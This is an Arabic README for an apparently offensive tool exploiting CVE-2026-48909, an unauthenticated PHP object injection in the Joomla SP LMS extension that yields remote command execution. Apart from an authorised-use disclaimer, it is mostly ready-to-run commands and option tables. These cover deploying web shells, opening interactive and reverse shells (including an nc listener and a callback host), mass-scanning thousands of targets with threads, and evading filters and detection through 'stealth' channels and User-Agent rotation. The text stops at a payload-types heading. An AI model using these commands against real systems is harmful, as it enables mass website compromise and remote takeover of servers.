[!IMPORTANT]
للاستخدام المصرّح به فقط. هذه الأداة مخصّصة للبحث الأمني والتعليم واختبار الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
جدول المحتويات
نظرة عامة
CVE-2026-48909 هي ثغرة حقن كائنات PHP غير موثَّق خطيرة في إضافة SP LMS الخاصة بـ Joomla. تنفّذ هذه الأداة سلسلة الهجوم الكاملة ليتمكّن مختصو الأمن من التحقق من التأثير في بيئات المختبر أو البيئات المصرّح بها.
تغطّي الأداة الاكتشاف، واستكشاف المسار، وتوصيل الحِمْل، واستغلال تفاعلي بعد الاستغلال (حيثما يُسمح)، والتقييم الجماعي، والتنظيف الاختياري.
تفاصيل الثغرة
| السمة | القيمة |
|---|
| معرف CVE | CVE-2026-48909 |
| CVSS | 9.5 (حرجة) |
| متجه الهجوم | شبكة — غير موثَّق |
| التأثير | تنفيذ أوامر عن بُعد |
| المنتج المتأثر | Joomla SP LMS |
| الإصدارات المتأثرة | 1.0.0 – 4.1.3 |
| الإصدار المُصحَّح | SP LMS 4.1.4+ |
| سلسلة الأدوات (Gadget Chain) | تتطلب Joomla < 5.2.2 |
مصفوفة التوافق
| المكوّن | الإصدار | RCE |
|---|
| SP LMS | < 4.1.4 | معرّض للثغرة |
| SP LMS | ≥ 4.1.4 | مُصحَّح |
| Joomla | < 5.2.2 | سلسلة الأدوات قابلة للاستخدام |
| Joomla | ≥ 5.2.2 | سلسلة الأدوات مُصحَّحة |
الميزات
الأساسية
| الإمكانية | الوصف |
|---|
| استغلال غير موثَّق | لا حاجة لبيانات اعتماد |
| حمولات متعددة | 7 متغيرات لشيل الويب / تنفيذ الأوامر |
| شيل تفاعلي | جلسة تاريخ الأوامر بعد النشر |
| اكتشاف المسار | استكشاف تلقائي للمسارات القابلة للكتابة |
| تنظيف | إزالة شيل الويب المُنشَر بعد الاختبارات |
التقييم والعمليات
| الإمكانية | الوصف |
|---|
| مسح جماعي | قوائم أهداف متعددة الخيوط (1000+) |
| دعم الوكيل (Proxy) | HTTP/SOCKS (Burp، ZAP، إلخ) |
| شيل عكسي | حمولات قائمة على المُستمِع |
| وضع التخفي | قنوات أوامر عبر الترويسة أو POST |
| العشوائية | أسماء UUID للشيل، تدوير User-Agent |
| إعداد التقارير | تصدير بصيغة JSON أو HTML أو CSV |
| مساعدات الكشف | فحص إصدار Joomla، --check-only، --safe-mode |
ملاحظات حول التهرب
- يتجنّب الأحرف المحظورة بواسطة فلتر
cmd في Joomla قدر الإمكان
- مسار كتابة PHP مشفّر بالنظام الست عشري لتقليل مشكلات الوسادة (padding) / الشرطة المائلة في base64
- تأخيرات قابلة للتكوين وتدوير User-Agent
- منطق إعادة المحاولة عبر عدة مرشّحات للحقن / المسار
التثبيت
المتطلبات الأساسية
- Python 3.6+
pip
- إمكانية الوصول الشبكي إلى الهدف (الأهداف) قيد الاختبار
الإعداد
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
التبعيات
requests>=2.31.0
urllib3>=2.0.0
argparse يأتي مع المكتبة القياسية لـ Python؛ لا يحتاج إلى تثبيت عبر pip.
بداية سريعة
استبدل https://target.example بهدف مختبر أو مصرّح به فقط.
هدف واحد — اكتشاف المسار + شيل تفاعلي
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
فحص آمن (بدون استغلال)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
مسح جماعي
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
شيل عكسي (مختبر مصرّح به)
# المستمع
nc -lvnp 4444
# مضيف الاستغلال
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
دليل الاستخدام
اكتشاف المسار
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
مسار كتابة معروف
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
جلسة تفاعلية
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
أمر لمرة واحدة
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
حمولة تخفّي + تفاعلي
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
وكيل (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
التنظيف
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
تنسيق قائمة الأهداف
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
مرجع الأوامر
الهدف
| الوسيطة | الوصف |
|---|
target | عنوان URL للهدف الواحد |
--targets, -T FILE | ملف يحتوي على الأهداف (عنوان URL في كل سطر) |
--path PATH | المسار المطلق على الخادم لشيل الويب |
--shell-type TYPE | minimal، standard، stealth، base64، full، reverse، blindshell |
--shell-name NAME | اسم ملف شيل الويب (الافتراضي: x.php) |
الشبكة
| الوسيطة | الوصف |
|---|
--timeout SECONDS | مهلة الطلب (الافتراضي: 15) |
--insecure | تخطي التحقق من شهادة TLS |
--proxy URL | مثال: http://127.0.0.1:8080 |
--random-ua | تدوير User-Agent (مفعل افتراضياً) |
--delay SECONDS | تأخير بين الطلبات |
الشيل العكسي
| الوسيطة | الوصف |
|---|
--reverse-host HOST | مضيف المستمع |
--reverse-port PORT | منفذ المستمع |
الأوضاع
| الوسيطة | الوصف |
|---|
--interactive, -i | شيل تفاعلي بعد النشر |
--check-only | فحص الثغرة فقط |
--safe-mode | اختبار غير تخريبي |
--find-path | اكتشاف تلقائي لمسار قابل للكتابة |
--cmd COMMAND | تنفيذ أمر واحد ثم الخروج |
--cleanup PATH | إزالة شيل الويب عند المسار المحدد |
--cleanup-after | التنظيف بعد الاستغلال |
المسح الجماعي / التقرير
| الوسيطة | الوصف |
|---|
--threads NUM | عدد خيوط العمل (الافتراضي: 10) |
--export FILE | مسار مخرجات النتائج |
--export-format FORMAT | json، html، csv (الافتراضي: json) |
التسجيل
| الوسيطة | الوصف |
|---|
--log-file FILE | كتابة السجلات إلى ملف |
--quiet, -q | وضع صامت |
--verbose, -v | إخراج مفصل |
--no-banner | إخفاء الشعار |
أنواع الحِمْل